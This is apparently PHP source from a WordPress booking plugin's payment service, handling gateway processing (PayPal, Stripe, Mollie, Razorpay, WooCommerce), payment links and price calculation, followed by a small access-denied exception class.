foreach ($event->getProviders()->getItems() as $provider) { $paymentsData[$paymentDataValues[$key]['id']]['providers'][] = [ 'id' => $provider->getId()->getValue(), 'fullName' => $provider->getFullName(), 'email' => $provider->getEmail()->getValue(), ]; } $paymentsData[$paymentDataValues[$key]['id']]['eventId'] = $event->getId()->getValue(); $paymentsData[$paymentDataValues[$key]['id']]['name'] = $event->getName()->getValue(); if ($event->getCustomPricing() && $event->getCustomPricing()->getValue()) { /** @var CustomerBookingEventTicketRepository $bookingEventTicketRepository */ $bookingEventTicketRepository = $this->container->get('domain.booking.customerBookingEventTicket.repository'); $price = $bookingEventTicketRepository->calculateTotalPrice($paymentsData[$paymentDataValues[$key]['id']]['customerBookingId']); if ($price) { $paymentsData[$paymentDataValues[$key]['id']]['bookedPrice'] = $price; } $paymentsData[$paymentDataValues[$key]['id']]['aggregatedPrice'] = 0; } } } } $packageApplicationService->setPaymentData($paymentsData); foreach ($paymentsData as $index => $value) { !empty($paymentsData[$index]['providers']) ? $paymentsData[$index]['providers'] = array_values($paymentsData[$index]['providers']) : []; } foreach ($paymentsData as &$item) { if (!empty($item['wcOrderId']) && WooCommerceService::isEnabled()) { $item['wcOrderUrl'] = HelperService::getWooCommerceOrderUrl($item['wcOrderId']); $wcOrderItemValues = HelperService::getWooCommerceOrderItemAmountValues($item['wcOrderId']); if ($wcOrderItemValues) { $item['wcItemCouponValue'] = $wcOrderItemValues[0]['coupon']; $item['wcItemTaxValue'] = $wcOrderItemValues[0]['tax']; } } } return $paymentsData; } /** @noinspection MoreThanThreeArgumentsInspection */ /** * @param CommandResult $result * @param array $paymentData * @param Reservation $reservation * @param BookingType $bookingType * @param $paymentTransactionId * * @return boolean * * @throws ContainerValueNotFoundException * @throws Exception * @throws \Interop\Container\Exception\ContainerException */ public function processPayment($result, $paymentData, $reservation, $bookingType, &$paymentTransactionId) { /** @var ReservationServiceInterface $reservationService */ $reservationService = $this->container->get('application.reservation.service')->get($bookingType->getValue()); $paymentAmount = $reservationService->getReservationPaymentAmount($reservation); if (!$paymentAmount && ( $paymentData['gateway'] === 'stripe' || $paymentData['gateway'] === 'payPal' || $paymentData['gateway'] === 'mollie' || $paymentData['gateway'] === 'razorpay' )) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage(FrontendStrings::getCommonStrings()['payment_error']); $result->setData( [ 'paymentSuccessful' => false, 'onSitePayment' => true ] ); return false; } switch ($paymentData['gateway']) { case ('payPal'): /** @var PayPalService $paymentService */ $paymentService = $this->container->get('infrastructure.payment.payPal.service'); $response = $paymentService->complete( [ 'transactionReference' => $paymentData['data']['transactionReference'], 'PayerID' => $paymentData['data']['PayerId'], 'amount' => $paymentAmount, ] ); if ($response->isSuccessful()) { $paymentTransactionId = $response->getData()['id']; } else { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage(FrontendStrings::getCommonStrings()['payment_error']); $result->setData( [ 'paymentSuccessful' => false, 'message' => $response->getMessage(), ] ); return false; } return true; case ('stripe'): /** @var StripeService $paymentService */ $paymentService = $this->container->get('infrastructure.payment.stripe.service'); /** @var CurrencyService $currencyService */ $currencyService = $this->container->get('infrastructure.payment.currency.service'); $additionalInformation = $this->getBookingInformationForPaymentSettings( $reservation, PaymentType::STRIPE ); try { $response = $paymentService->execute( [ 'paymentMethodId' => !empty($paymentData['data']['paymentMethodId']) ? $paymentData['data']['paymentMethodId'] : null, 'paymentIntentId' => !empty($paymentData['data']['paymentIntentId']) ? $paymentData['data']['paymentIntentId'] : null, 'amount' => $currencyService->getAmountInFractionalUnit(new Price($paymentAmount)), 'metaData' => $additionalInformation['metaData'], 'description' => $additionalInformation['description'] ] ); } catch (Exception $e) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage(FrontendStrings::getCommonStrings()['payment_error']); $result->setData( [ 'paymentSuccessful' => false, 'message' => $e->getMessage(), ] ); return false; } if (isset($response['requiresAction'])) { $result->setResult(CommandResult::RESULT_SUCCESS); $result->setData( [ 'paymentIntentClientSecret' => $response['paymentIntentClientSecret'], 'requiresAction' => $response['requiresAction'] ] ); return false; } if (empty($response['paymentSuccessful'])) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage(FrontendStrings::getCommonStrings()['payment_error']); $result->setData( [ 'paymentSuccessful' => false ] ); return false; } $paymentTransactionId = $response['paymentIntentId']; return true; case ('onSite'): if ($paymentAmount && ( $reservation->getLoggedInUser() && $reservation->getLoggedInUser()->getType() === Entities::CUSTOMER ) && !$this->isAllowedOnSitePaymentMethod($this->getAvailablePayments($reservation->getBookable())) ) { return false; } return true; case ('wc'): case ('mollie'): return true; case ('razorpay'): /** @var RazorpayService $paymentService */ $paymentService = $this->container->get('infrastructure.payment.razorpay.service'); $paymentId = $paymentData['data']['paymentId']; $signature = $paymentData['data']['signature']; $orderId = $paymentData['data']['orderId']; try { $attributes = array( 'razorpay_order_id' => $orderId, 'razorpay_payment_id' => $paymentId, 'razorpay_signature' => $signature ); $paymentService->verify($attributes); } catch (SignatureVerificationError $e) { return false; } $paymentTransactionId = $paymentData['data']['paymentId']; $response = $paymentService->capture($paymentData['data']['paymentId'], $paymentAmount); if (!$response || $response['error_code']) { return false; } return true; } return false; } /** * @param AbstractBookable $bookable * * @return array * * @throws ContainerValueNotFoundException */ public function getAvailablePayments($bookable) { /** @var SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); $generalPayments = $settingsService->getCategorySettings('payments'); if ($bookable->getSettings()) { $hasAvailablePayments = false; $bookableSettings = json_decode($bookable->getSettings()->getValue(), true); if ($generalPayments['onSite'] === true && isset($bookableSettings['payments']['onSite']) && $bookableSettings['payments']['onSite'] === true ) { $hasAvailablePayments = true; } if ($generalPayments['payPal']['enabled'] === true && isset($bookableSettings['payments']['payPal']['enabled']) && $bookableSettings['payments']['payPal']['enabled'] === true ) { $hasAvailablePayments = true; } if ($generalPayments['stripe']['enabled'] === true && isset($bookableSettings['payments']['stripe']['enabled']) && $bookableSettings['payments']['stripe']['enabled'] === true ) { $hasAvailablePayments = true; } if ($generalPayments['mollie']['enabled'] === true && isset($bookableSettings['payments']['mollie']['enabled']) && $bookableSettings['payments']['mollie']['enabled'] === false && $bookableSettings['payments']['onSite'] === true ) { $hasAvailablePayments = true; } return $hasAvailablePayments ? $bookableSettings['payments'] : $generalPayments; } return $generalPayments; } /** * @param array $bookablePayments * * @return boolean * * @throws ContainerException * @throws \InvalidArgumentException * @throws ContainerValueNotFoundException */ public function isAllowedOnSitePaymentMethod($bookablePayments) { /** @var SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); $payments = $settingsService->getCategorySettings('payments'); if ($payments['onSite'] === false && (isset($bookablePayments['onSite']) ? $bookablePayments['onSite'] === false : true) ) { /** @var AbstractUser $user */ $user = $this->container->get('logged.in.user'); if ($user === null || $user->getType() === Entities::CUSTOMER) { return false; } } return true; } /** * @param Reservation|array $reservation * @param string $paymentType * * @return array * * @throws ContainerValueNotFoundException * @throws \Interop\Container\Exception\ContainerException * @throws InvalidArgumentException */ public function getBookingInformationForPaymentSettings($reservation, $paymentType, $bookingIndex = null) { $reservationType = $reservation instanceof Reservation ? $reservation->getReservation()->getType()->getValue() : $reservation['type']; /** @var PlaceholderService $placeholderService */ $placeholderService = $this->container->get("application.placeholder.{$reservationType}.service"); /** @var SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); $paymentsSettings = $settingsService->getSetting('payments', $paymentType); $setDescription = !empty($paymentsSettings['description']); $setName = !empty($paymentsSettings['name']); $setMetaData = !empty($paymentsSettings['metaData']); $placeholderData = []; if ($setDescription || $setMetaData || $setName) { $reservationData = $reservation; if ($reservation instanceof Reservation) { $reservationData = $reservation->getReservation()->toArray(); $reservationData['bookings'] = $reservation->getBooking() ? [ $reservation->getBooking()->getId() ? $reservation->getBooking()->getId()->getValue() : 0 => $reservation->getBooking()->toArray() ] : []; $reservationData['customer'] = $reservation->getCustomer()->toArray(); $customer = $reservation->getCustomer(); $bookingId = $reservation->getBooking() && $reservation->getBooking()->getId() ? $reservation->getBooking()->getId()->getValue() : 0; } else { $customer = UserFactory::create($reservation['bookings'][$bookingIndex]['customer']); $bookingId = $bookingIndex; } try { $placeholderData = $placeholderService->getPlaceholdersData( $reservationData, $bookingId, null, $customer ); } catch (Exception $e) { $placeholderData = []; } } $metaData = []; $description = ''; $name = ''; if ($placeholderData && $setDescription) { $description = $placeholderService->applyPlaceholders( $paymentsSettings['description'][$reservationType], $placeholderData ); } if ($placeholderData && $setName) { $name = $placeholderService->applyPlaceholders( $paymentsSettings['name'][$reservationType], $placeholderData ); } if ($placeholderData && $setMetaData) { foreach ((array)$paymentsSettings['metaData'][$reservationType] as $metaDataKay => $metaDataValue) { $metaData[$metaDataKay] = $placeholderService->applyPlaceholders( $metaDataValue, $placeholderData ); } } return [ 'description' => $description, 'metaData' => $metaData, 'name' => $name ]; } /** * @param Payment $payment * * @return boolean * * @throws QueryExecutionException * @throws InvalidArgumentException */ public function delete($payment) { /** @var PaymentRepository $paymentRepository */ $paymentRepository = $this->container->get('domain.payment.repository'); /** @var CacheRepository $cacheRepository */ $cacheRepository = $this->container->get('domain.cache.repository'); /** @var Collection $followingPayments */ $followingPayments = $paymentRepository->getByEntityId( $payment->getId()->getValue(), 'parentId' ); /** @var Collection $caches */ $caches = $cacheRepository->getByEntityId( $payment->getId()->getValue(), 'paymentId' ); /** @var Cache $cache */ foreach ($caches->getItems() as $cache) { /** @var Payment $nextPayment */ $nextPayment = $followingPayments->length() ? $followingPayments->getItem(0) : null; if ($nextPayment) { $cacheRepository->updateByEntityId( $payment->getId()->getValue(), $nextPayment->getId()->getValue(), 'paymentId' ); } else { $cacheRepository->updateFieldById( $cache->getId()->getValue(), null, 'paymentId' ); } } if (!$paymentRepository->delete($payment->getId()->getValue())) { return false; } return true; } /** * @param CustomerBooking $booking * * @throws QueryExecutionException * @throws InvalidArgumentException */ public function updateBookingPaymentDate($booking, $date) { foreach ($booking->getPayments()->getItems() as $payment) { if ($payment->getGateway()->getName()->getValue() === PaymentType::ON_SITE) { /** @var PaymentRepository $paymentRepository */ $paymentRepository = $this->container->get('domain.payment.repository'); $paymentRepository->updateFieldById( $payment->getId()->getValue(), $date, 'dateTime' ); } } } /** * @param array $data * @param int $amount * @param string $type * * @return Payment * @throws QueryExecutionException * @throws InvalidArgumentException * @throws \Interop\Container\Exception\ContainerException * @throws Exception */ public function insertPaymentFromLink($originalPayment, $amount, $type) { /** @var PaymentRepository $paymentRepository */ $paymentRepository = $this->container->get('domain.payment.repository'); $linkPayment = PaymentFactory::create($originalPayment); $linkPayment->setAmount(new Price($amount)); $linkPayment->setId(null); $linkPayment->setDateTime(null); $linkPayment->setEntity(new Name($type)); $linkPayment->setActionsCompleted(new BooleanValueObject(true)); if ($type === Entities::PACKAGE) { $linkPayment->setCustomerBookingId(null); $linkPayment->setPackageCustomerId(new Id($originalPayment['packageCustomerId'])); } $linkPaymentId = $paymentRepository->add($linkPayment); $linkPayment->setId(new Id($linkPaymentId)); return $linkPayment; } /** * @param array $data * @param int $index * @param string|null $paymentMethod * * @return array * @throws QueryExecutionException * @throws InvalidArgumentException * @throws \Interop\Container\Exception\ContainerException * @throws Exception */ public function createPaymentLink($data, $index = null, $recurringKey = null, $paymentMethod = null) { /** @var PaymentApplicationService $paymentAS */ $paymentAS = $this->container->get('application.payment.service'); /** @var SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); /** @var PaymentRepository $paymentRepository */ $paymentRepository = $this->container->get('domain.payment.repository'); $type = $data['type']; $reservation = $data[$type]; $booking = $recurringKey !== null ? $data['recurring'][$recurringKey]['bookings'][$index] : $data['booking']; $reservation['bookings'][$index]['customer'] = $data['customer']; $customer = $data['customer']; $reservation['packageCustomerId'] = $data['packageCustomerId']; $entitySettings = !empty($data['bookable']) && !empty($data['bookable']['settings']) && json_decode($data['bookable']['settings'], true) ? json_decode($data['bookable']['settings'], true) : null; $paymentLinksSettings = !empty($entitySettings) && !empty($entitySettings['payments']['paymentLinks']) ? $entitySettings['payments']['paymentLinks'] : null; $paymentLinksEnabled = $paymentLinksSettings ? $paymentLinksSettings['enabled'] : $settingsService->getSetting('payments', 'paymentLinks')['enabled']; if (!$paymentLinksEnabled) { return null; } $paymentLinksSettings = !empty($entitySettings) ? $entitySettings['payments']['paymentLinks'] : null; $paymentLinksEnabled = $paymentLinksSettings ? $paymentLinksSettings['enabled'] : $settingsService->getSetting('payments', 'paymentLinks')['enabled']; if (!$paymentLinksEnabled || ($booking && (in_array($booking['status'], [BookingStatus::CANCELED, BookingStatus::REJECTED, BookingStatus::NO_SHOW])))) { return null; } $redirectUrl = $paymentLinksSettings && $paymentLinksSettings['redirectUrl'] ? $paymentLinksSettings['redirectUrl'] : $settingsService->getSetting('payments', 'paymentLinks')['redirectUrl']; $redirectUrl = empty($redirectUrl) ? AMELIA_SITE_URL : $redirectUrl; $customerPanelUrl = $settingsService->getSetting('roles', 'customerCabinet')['pageUrl']; $redirectUrl = $paymentMethod ? $customerPanelUrl : $redirectUrl; $totalPrice = $this->calculateAppointmentPrice($booking, $type, $reservation); $oldPaymentId = $recurringKey !== null ? $data['recurring'][$recurringKey]['bookings'][$index]['payments'][0]['id'] : $data['paymentId']; if (!empty($data['packageCustomerId'])) { $payments = $paymentRepository->getByEntityId($data['packageCustomerId'], 'packageCustomerId'); } else { $payments = $paymentRepository->getByEntityId($booking['id'], 'customerBookingId'); } if (empty($payments) || $payments->length() === 0 || empty($oldPaymentId)) { return null; } $payments = $payments->toArray(); $allAmounts = 0; foreach ($payments as $payment) { if ($payment['status'] !== 'refunded') { $allAmounts += $payment['amount']; } } $allWCTaxes = array_sum(array_filter(array_column($payments, 'wcItemTaxValue'))); $amountWithoutTax = $allAmounts - $allWCTaxes; if ($amountWithoutTax >= $totalPrice || $totalPrice === 0) { return null; } $oldPaymentKey = array_search($oldPaymentId, array_column($payments, 'id')); if ($oldPaymentKey === false) { return null; } $oldPayment = $payments[$oldPaymentKey]; $amount = $totalPrice - $amountWithoutTax; $callbackLink = AMELIA_ACTION_URL . '/payments/callback&fromLink=true&paymentAmeliaId=' . $oldPaymentId . '&chargedAmount=' . $amount . '&fromPanel=' . (!empty($paymentMethod)); $paymentSettings = $settingsService->getCategorySettings('payments'); $paymentLinks = []; $methods = $paymentMethod ?: [ 'payPal' => !empty($entitySettings) && !empty($entitySettings['payments']['payPal']) ? ($entitySettings['payments']['payPal']['enabled'] && $paymentSettings['payPal']['enabled']) : $paymentSettings['payPal']['enabled'], 'stripe' => !empty($entitySettings) && !empty($entitySettings['payments']['stripe']) ? ($entitySettings['payments']['stripe']['enabled'] && $paymentSettings['stripe']['enabled']) : $paymentSettings['stripe']['enabled'], 'razorpay' => !empty($entitySettings) && !empty($entitySettings['payments']['razorpay']) ? ($entitySettings['payments']['razorpay']['enabled'] && $paymentSettings['razorpay']['enabled']) : $paymentSettings['razorpay']['enabled'], 'mollie' => !empty($entitySettings) && !empty($entitySettings['payments']['mollie']) ? ($entitySettings['payments']['mollie']['enabled'] && $paymentSettings['mollie']['enabled']) : $paymentSettings['mollie']['enabled'], 'wc' => $paymentSettings['wc']['enabled'] ]; if (!empty($methods['wc'])) { /** @var ReservationServiceInterface $reservationService */ $reservationService = $this->container->get('application.reservation.service')->get($type); $appointmentData = $reservationService->getWooCommerceDataFromArray($data, $index); $appointmentData['redirectUrl'] = $redirectUrl; $linkPayment = PaymentFactory::create($oldPayment); $linkPayment->setStatus(new PaymentStatus(PaymentStatus::PENDING)); $linkPayment->setDateTime(null); $linkPayment->setWcOrderId(null); $linkPayment->setGatewayTitle(null); $linkPayment->setEntity(new Name($type)); $linkPayment->setActionsCompleted(new BooleanValueObject(true)); if ($type === Entities::PACKAGE) { $linkPayment->setCustomerBookingId(null); $linkPayment->setPackageCustomerId(new Id($data['packageCustomerId'])); } $appointmentData['payment'] = $linkPayment->toArray(); $appointmentData['payment']['fromLink'] = true; $appointmentData['payment']['newPayment'] = $oldPayment['gateway'] !== 'onSite'; $bookableSettings = $data['bookable']['settings'] ? json_decode($data['bookable']['settings'], true) : null; $productId = $bookableSettings && isset($bookableSettings['payments']['wc']) && isset($bookableSettings['payments']['wc']['productId']) ? $bookableSettings['payments']['wc']['productId'] : $settingsService->getCategorySettings('payments')['wc']['productId']; $orderId = WooCommerceService::createWcOrder($productId, $appointmentData, $amount, $oldPayment['wcOrderId'], $customer); $paymentLink = WooCommerceService::getPaymentLink($orderId); if (!empty($paymentLink['link'])) { $paymentLinks['payment_link_woocommerce'] = $paymentLink['link']; } return $paymentLinks; } if (!empty($methods['payPal'])) { /** @var PaymentServiceInterface $paymentService */ $paymentService = $this->container->get('infrastructure.payment.payPal.service'); $additionalInformation = $paymentAS->getBookingInformationForPaymentSettings($reservation, PaymentType::PAY_PAL, $index); $paymentData = [ 'amount' => $amount, 'description' => $additionalInformation['description'], 'returnUrl' => $callbackLink . '&paymentMethod=payPal&payPalStatus=success', 'cancelUrl' => $callbackLink . '&paymentMethod=payPal&payPalStatus=canceled' ]; $paymentLink = $paymentService->getPaymentLink($paymentData); if ($paymentLink['status'] === 200 && !empty($paymentLink['link'])) { $paymentLinks['payment_link_paypal'] = $paymentLink['link'] . '&useraction=commit'; } else { $paymentLinks['payment_link_paypal_error_code'] = $paymentLink['status']; $paymentLinks['payment_link_paypal_error_message'] = $paymentLink['message']; } } if (!empty($methods['stripe'])) { /** @var PaymentServiceInterface $paymentService */ $paymentService = $this->container->get('infrastructure.payment.stripe.service'); /** @var CurrencyService $currencyService */ $currencyService = $this->container->get('infrastructure.payment.currency.service'); $additionalInformation = $paymentAS->getBookingInformationForPaymentSettings($reservation, PaymentType::STRIPE, $index); $paymentData = [ 'amount' => $currencyService->getAmountInFractionalUnit(new Price($amount)), 'description' => $additionalInformation['description'] ?: $data['bookable']['name'], 'returnUrl' => $callbackLink . '&paymentMethod=stripe', 'metaData' => $additionalInformation['metaData'] ?: [], 'currency' => $settingsService->getCategorySettings('payments')['currency'], ]; $paymentLink = $paymentService->getPaymentLink($paymentData); if ($paymentLink['status'] === 200 && !empty($paymentLink['link'])) { $paymentLinks['payment_link_stripe'] = $paymentLink['link'] . '?prefilled_email=' . $customer['email']; } else { $paymentLinks['payment_link_stripe_error_code'] = $paymentLink['status']; $paymentLinks['payment_link_stripe_error_message'] = $paymentLink['message']; } } if (!empty($methods['mollie'])) { /** @var PaymentServiceInterface $paymentService */ $paymentService = $this->container->get('infrastructure.payment.mollie.service'); $additionalInformation = $paymentAS->getBookingInformationForPaymentSettings($reservation, PaymentType::MOLLIE, $index); $info = json_decode($booking['info'], true); $paymentData = [ 'amount' => [ 'currency' => $settingsService->getCategorySettings('payments')['currency'], 'value' => number_format((float)$amount, 2, '.', '')//strval($amount) ], 'description' => $additionalInformation['description'] ?: $data['bookable']['name'], 'redirectUrl' => $redirectUrl, 'webhookUrl' => (AMELIA_DEV ? str_replace('localhost', AMELIA_NGROK_URL, $callbackLink) : $callbackLink) . '&paymentMethod=mollie', // 'locale' => str_replace('-', '_', $info['locale']), // 'method' => $settingsService->getSetting('payments', 'mollie')['method'], // 'metaData' => $additionalInformation['metaData'] ?: [], ]; $paymentLink = $paymentService->getPaymentLink($paymentData); if ($paymentLink['status'] === 200 && !empty($paymentLink['link'])) { $paymentLinks['payment_link_mollie'] = $paymentLink['link']; } else { $paymentLinks['payment_link_mollie_error_code'] = $paymentLink['status']; $paymentLinks['payment_link_mollie_error_message'] = $paymentLink['message']; } } if (!empty($methods['razorpay'])) { /** @var PaymentServiceInterface $paymentService */ $paymentService = $this->container->get('infrastructure.payment.razorpay.service'); $additionalInformation = $paymentAS->getBookingInformationForPaymentSettings($reservation, PaymentType::RAZORPAY, $index); $paymentData = [ 'amount' => intval($amount * 100), 'description' => $additionalInformation['description'], 'notes' => $additionalInformation['metaData'] ?: [], 'currency' => $settingsService->getCategorySettings('payments')['currency'], 'customer' => [ 'name' => $customer['firstName'] . ' ' . $customer['lastName'], 'email' => $customer['email'], 'contact' => $customer['phone'] ], //'notify' => ['sms' => false, 'email' => true], 'callback_url' => AMELIA_ACTION_URL . '__payments__callback&fromLink=true&paymentAmeliaId=' . $oldPaymentId . '&chargedAmount=' . $amount . '&paymentMethod=razorpay' . '&fromPanel=' . (!empty($paymentMethod)), 'callback_method' => 'get' ]; $paymentLink = $paymentService->getPaymentLink($paymentData); if ($paymentLink['status'] === 200 && !empty($paymentLink['link'])) { $paymentLinks['payment_link_razorpay'] = $paymentLink['link']; } else { $paymentLinks['payment_link_razorpay_error_code'] = $paymentLink['status']; $paymentLinks['payment_link_razorpay_error_message'] = $paymentLink['message']; } } return $paymentLinks; } /** * @param array $booking * @param string $type * @return float */ public function calculateAppointmentPrice($booking, $type, $reservationEntity = null) { if ($type === Entities::PACKAGE) { $price = $reservationEntity['price']; $couponDiscount = 0; if (!$reservationEntity['calculatedPrice'] && $reservationEntity['discount']) { $subtraction = $price / 100 * ($reservationEntity['discount'] ?: 0); $price = (float)round($price - $subtraction, 2); } if (!!$reservationEntity['packageCustomerId']) { /** @var PackageCustomerRepository $packageCustomerRepository */ $packageCustomerRepository = $this->container->get('domain.bookable.packageCustomer.repository'); $packageCustomer = $packageCustomerRepository->getById($reservationEntity['packageCustomerId']) ? $packageCustomerRepository->getById($reservationEntity['packageCustomerId'])->toArray() : null; if ($packageCustomer && $packageCustomer['couponId']) { /** @var CouponRepository $couponRepository */ $couponRepository = $this->container->get('domain.coupon.repository'); $coupon = $couponRepository->getById($packageCustomer['couponId']) ? $couponRepository->getById($packageCustomer['couponId'])->toArray() : null; if ($coupon) { $couponDiscount = $price / 100 * ($coupon['discount'] ?: 0) + ($coupon['deduction'] ?: 0); } } } return round($price - $couponDiscount, 2); } $isAggregatedPrice = isset($booking['aggregatedPrice']) && $booking['aggregatedPrice']; $appointmentPrice = $booking['price'] * ($isAggregatedPrice ? $booking['persons'] : 1); if ($type === Entities::APPOINTMENT) { foreach ((array)$booking['extras'] as $extra) { $isExtraAggregatedPrice = !empty($extra['aggregatedPrice']); $extra['price'] = isset($extra['price']) ? $extra['price'] : 0; $appointmentPrice += $extra['price'] * $extra['quantity'] * ($isExtraAggregatedPrice ? $booking['persons'] : 1); } } if ($type === Entities::EVENT) { if (!empty($booking['ticketsData'])) { $ticketsPrice = 0; foreach ($booking['ticketsData'] as $key => $bookingToEventTicket) { if ($bookingToEventTicket['price']) { $ticketsPrice += ($isAggregatedPrice ? $bookingToEventTicket['persons'] : 1) * $bookingToEventTicket['price']; } } $appointmentPrice = $ticketsPrice; } } if (!empty($booking['coupon']['discount'])) { $appointmentPrice = (1 - $booking['coupon']['discount'] / 100) * $appointmentPrice; } if (!empty($booking['coupon']['deduction'])) { $deductionValue = $booking['coupon']['deduction']; $appointmentPrice -= $deductionValue; } return $appointmentPrice; } /** * @param array $booking * @param string $type * @return string */ public function getFullStatus($booking, $type) { $bookingPrice = $this->calculateAppointmentPrice($booking, $type); //add wc tax $paidAmount = array_sum( array_column( array_filter( $booking['payments'], function ($value) { return $value['status'] !== 'pending'; } ), 'amount' ) ); if ($paidAmount >= $bookingPrice) { return 'paid'; } $partialPayments = array_filter( $booking['payments'], function ($value) { return $value['status'] === 'partiallyPaid'; } ); return !empty($partialPayments) ? 'partiallyPaid' : 'pending'; } /** * @param array $paymentData * @param int $paymentId * @param string $transactionId * * @throws QueryExecutionException */ public function setPaymentTransactionId($paymentId, $transactionId) { /** @var PaymentRepository $paymentRepository */ $paymentRepository = $this->container->get('domain.payment.repository'); if ($transactionId && $paymentId) { $paymentRepository->updateTransactionId( $paymentId, $transactionId ); } } } Common/Exceptions/AccessDeniedException.php 0000666 00000001163 15165412624 0015032 0 ustar 00 <?php namespace AmeliaBooking\Application\Common\Exceptions; use Exception; /** * Class AccessDeniedException * * @package AmeliaBooking\Application\Common\Exceptions */ class AccessDeniedException extends Exception { /** * AccessDeniedException constructor. * * @param string $message * @param int $code * @param Exception|null $previous */ public function __construct( $message = 'You are not allowed to perform this action', $code = 0, Exception $previous = null ) { parent::__construct($message, $code, $previous); } }
| ver. 1.4 |
Github
|
.
| PHP 5.4.45 | Generation time: 0.03 |
proxy
|
phpinfo
|
Settings